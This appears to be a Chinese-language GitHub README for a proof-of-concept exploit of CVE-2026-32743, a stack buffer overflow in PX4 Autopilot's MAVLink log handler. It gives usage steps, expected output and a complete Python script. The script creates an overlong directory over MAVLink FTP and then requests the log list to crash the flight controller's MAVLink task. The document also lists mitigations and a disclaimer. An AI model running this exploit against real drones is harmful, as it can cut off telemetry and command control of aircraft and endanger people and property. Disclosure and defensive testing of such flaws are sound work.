CVE-2026-32743 - PX4 Autopilot MavlinkLogHandler 栈缓冲区溢出（拒绝服务）

📜 描述

CVE-2026-32743 是 PX4 Autopilot ≤1.17.0-rc2 版本中 MavlinkLogHandler 的一个基于栈的缓冲区溢出漏洞。
LogEntry.filepath 缓冲区仅有 60 字节，但 sscanf() 在解析日志目录路径时未指定宽度限制符。

拥有 MAVLink 链路访问权限的攻击者可以：

使用 MAVLink FTP 在 /fs/microsd/log/ 内创建一个深度嵌套的目录（路径长度 > 60 字节）。
通过 MAV_CMD_REQUEST_LOG_LIST 请求日志列表。
存在漏洞的 MavlinkLogHandler 将长路径复制到 60 字节缓冲区中 → 栈溢出。
MAVLink 任务崩溃 → 遥测和命令能力丧失 → 持续性拒绝服务（直至重启）。

修复版本：commit 616b25a（为 sscanf 添加了宽度限制符）。

🔥 攻击流程示意图

sequenceDiagram
    participant Attacker
    participant PX4 as PX4 Flight Controller
    participant SD as SD Card (/fs/microsd/log/)

    Attacker->>PX4: 1. 打开 MAVLink 连接（UDP 14550）
    PX4-->>Attacker: 心跳包（系统/组件 ID）
    
    Note over Attacker,PX4: 步骤 2：通过 MAVLink FTP 创建长目录
    Attacker->>PX4: MAVLink FTP: OpenFile( path = "/fs/microsd/log/" + "A"*70, flags=O_CREAT|O_DIRECTORY )
    PX4->>SD: 创建目录（命名为 70 个 'A'）
    SD-->>PX4: 成功
    
    Note over Attacker,PX4: 步骤 3：通过请求日志列表触发溢出
    Attacker->>PX4: MAV_CMD_REQUEST_LOG_LIST (command 261)
    PX4->>PX4: MavlinkLogHandler::list() 读取日志目录
    PX4->>PX4: sscanf(path, "%s", LogEntry.filepath)  ← 无宽度限制！
    Note right of PX4: 缓冲区溢出：70 字节写入 60 字节缓冲区
    PX4--xAttacker: MAVLink 任务崩溃 → 不再有心跳包/命令
    Note over Attacker,PX4: ✅ 拒绝服务达成 – 飞控无法管理

⚙️ 前置条件

目标运行 PX4 ≤ 1.17.0-rc2 且已挂载 SD 卡（日志存储在 /fs/microsd/log/）。
已启用 MAVLink FTP（大多数 PX4 构建默认启用）。
可访问飞控的 MAVLink UDP 端口（默认 14550）。
Python 3.6+ 并已安装 pymavlink：
```
pip install pymavlink
```

🚀 使用方法

git clone https://github.com/mbanyamer/CVE-2026-32743-PoC
cd CVE-2026-32743-PoC
python3 exploit.py <TARGET_IP> [--port <PORT>]

参数	描述	默认值
`target_ip`	飞控的 IP 地址	必填
`--port`	MAVLink UDP 端口	`14550`

示例

python3 exploit.py 192.168.1.10 --port 14550

预期输出（成功拒绝服务）：

[*] Connecting to MAVLink target: 192.168.1.10:14550
[+] Heartbeat received from system 1, component 1
[*] Creating long directory: /fs/microsd/log/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (length 80 bytes)
[+] Directory created (or already existed).
[*] Requesting log list via MAV_CMD_REQUEST_LOG_LIST...
[*] Waiting for crash (target will stop responding)...
[+] Target unresponsive – DoS achieved!

📄 PoC 代码

#!/usr/bin/env python3
# Exploit Title: PX4 Autopilot MavlinkLogHandler Stack Buffer Overflow (DoS)
# CVE: CVE-2026-32743
# Date: 2026-05-08
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://px4.io/
# Software Link: https://github.com/PX4/PX4-Autopilot
#   Affected: Versions 1.17.0-rc2 and below
# Tested on: PX4 v1.17.0-rc2 (Pixhawk)
# Category: DoS
# Platform: Embedded (PX4 Autopilot)
# Exploit Type: Stack-based Buffer Overflow
# CVSS: 7.5 (High)
# CWE: CWE-121
# Description: Creates an overly long directory via MAVLink FTP, then requests log list.
# Fixed in: https://github.com/PX4/PX4-Autopilot/commit/616b25a
# Usage: python3 exploit.py <target_ip> [--port <port>]

print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║                                                                                            ║
║   ██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗                     ║
║   ██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗                    ║
║   ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝                    ║
║   ██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗                    ║
║   ██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║                    ║
║   ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝                    ║
║                                                                                            ║
║                         [ b a n y a m e r _ s e c u r i t y ]                              ║
║                                                                                            ║
║                  ▸ Silent Hunter  |  Shadow Presence  |  Digital Intel ◂                  ║
║                                                                                            ║
║   Operator : Mohammed Idrees Banyamer  •  Jordan 🇯🇴                                       ║
║   Handle   : @banyamer_security                                                           ║
║                                                                                            ║
║   Exploit  : CVE-2026-32743                                                               ║
║   Target   : PX4 Autopilot • MAVLink • Log Handler                                         ║
║                                                                                            ║
║   Status   : ACTIVE                                                                       ║
║                                                                                            ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")

import time
import struct
import argparse
from pymavlink import mavutil
from pymavlink.dialects.v20 import common as mavlink2

def send_ftp_command(mav, seq, payload):
    msg = mav.file_transfer_protocol_encode(
        target_system=mav.target_system,
        target_component=mav.target_component,
        payload=payload
    )
    mav.mav.send(msg)

def ftp_create_directory(mav, path):
    O_CREAT = 0x04
    O_DIRECTORY = 0x08
    seq = 1
    path_bytes = path.encode('utf-8') + b'\x00'
    payload = struct.pack('<BBHB', 0, 0, seq, 0) + path_bytes
    send_ftp_command(mav, seq, payload)
    time.sleep(0.5)

def exploit(target_ip, target_port):
    print(f"[*] Connecting to MAVLink target: {target_ip}:{target_port}")
    master = mavutil.mavlink_connection(f"udpout:{target_ip}:{target_port}")
    master.wait_heartbeat()
    print(f"[+] Heartbeat received from system {master.target_system}, component {master.target_component}")

    long_dir_name = "A" * 70
    full_path = f"/fs/microsd/log/{long_dir_name}"
    print(f"[*] Creating long directory: {full_path} (length {len(full_path)} bytes)")

    try:
        ftp_create_directory(master, full_path)
        print("[+] Directory created (or already existed).")
    except Exception as e:
        print(f"[-] FTP directory creation failed: {e}")
        print("    Ensure the target supports MAVLink FTP and the SD card is mounted.")
        return

    print("[*] Requesting log list via MAV_CMD_REQUEST_LOG_LIST...")
    master.mav.command_long_send(
        master.target_system,
        master.target_component,
        mavlink2.MAV_CMD_REQUEST_LOG_LIST,
        0,
        0,
        0, 0, 0, 0, 0, 0
    )

    print("[*] Waiting for crash (target will stop responding)...")
    time.sleep(5)

    try:
        master.mav.heartbeat_send(mavlink2.MAV_TYPE_GCS, mavlink2.MAV_AUTOPILOT_GENERIC)
        print("[-] Target still responsive – vulnerability may be patched or conditions not met.")
    except Exception:
        print("[+] Target unresponsive – DoS achieved!")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2026-32743 PX4 MavlinkLogHandler DoS Exploit")
    parser.add_argument("target_ip", help="IP address of the target flight controller")
    parser.add_argument("--port", type=int, default=14550, help="MAVLink UDP port (default: 14550)")
    args = parser.parse_args()
    exploit(args.target_ip, args.port)

📸 演示

$ python3 exploit.py 192.168.1.100
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║                                          [banner]                                          ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
[*] Connecting to MAVLink target: 192.168.1.100:14550
[+] Heartbeat received from system 1, component 1
[*] Creating long directory: /fs/microsd/log/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (length 80 bytes)
[+] Directory created (or already existed).
[*] Requesting log list via MAV_CMD_REQUEST_LOG_LIST...
[*] Waiting for crash (target will stop responding)...
[+] Target unresponsive – DoS achieved!

🛡️ 缓解措施

升级 PX4 至包含补丁的版本（≥1.17.0-rc3 或任何在 commit 616b25a 之后构建的版本）。
如非必要，禁用 MAVLink FTP：在参数中将 MAV_0_FTP 设置为 0。
限制对 MAVLink 端口的网络访问（防火墙、VPN 或物理链路）。
监控日志，留意 /fs/microsd/log/ 内异常的目录创建行为。

📚 参考资料

👤 作者

Mohammed Idrees Banyamer

🇯🇴 约旦
安全研究员 | 漏洞利用开发者 | 红队操作员

"Silent Hunter | Shadow Presence | Digital Intel"

⚠️ 免责声明

本概念验证（PoC）仅用于教育和防御目的。
未经授权对您不拥有或未获得明确测试许可的系统使用本工具是违法行为。
作者对因使用本软件造成的任何滥用或损害不承担任何责任。

📜 许可证

本项目基于 MIT 许可证 授权 – 详情请参阅 LICENSE 文件。
欢迎使用、修改和分发，请注明出处。

CVE-2026-32743-PX4-Autopilot-MavlinkLogHandler-Stack-Buffer-Overflow-DoS-

最受欢迎